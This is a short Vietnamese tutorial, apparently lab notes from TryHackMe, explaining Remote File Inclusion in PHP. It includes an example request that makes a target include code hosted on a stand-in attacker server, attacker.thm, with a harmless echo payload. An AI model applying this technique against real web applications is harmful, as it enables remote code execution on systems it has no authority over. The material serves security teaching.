Remote File Inclusion (RFI) là một kỹ thuật cho phép chèn các tệp từ xa vào một ứng dụng web dễ bị tấn công. Giống như LFI, RFI xảy ra khi trang web không xác thực (sanitize) cẩn thận đầu vào của người dùng, cho phép kẻ tấn công truyền một URL độc hại vào hàm include
.
Điều kiện cần để thực thi RFI là tùy chọn allow_url_fopen
phải được bật trong cấu hình PHP.
Quy trình khai thác:
- Host một tệp PHP độc hại trên một server do chúng ta kiểm soát, ví dụ:
http://attacker.thm/cmd.txt
. Nội dung có thể đơn giản là:<?php echo "Hello THM"; ?>
- Gửi request đến trang web mục tiêu với tham số chứa URL của tệp độc hại:
http://webapp.thm/index.php?lang=http://attacker.thm/cmd.txt
- Nếu trang web không xác thực tham số
lang
, nó sẽ truyền URL này vào hàminclude
. - Trang web sẽ gửi một GET request để tải tệp từ xa về.
- Tệp được chèn vào sẽ được thực thi, và kết quả (ví dụ:
Hello THM
) sẽ được hiển thị trên trang web.
Minh họa:
Tác động của RFI lớn hơn LFI vì nó có thể dẫn đến Remote Code Execution (RCE). Các hậu quả khác bao gồm:
- Lộ thông tin nhạy cảm.
- Cross-Site Scripting (XSS).
- Denial of Service (DoS).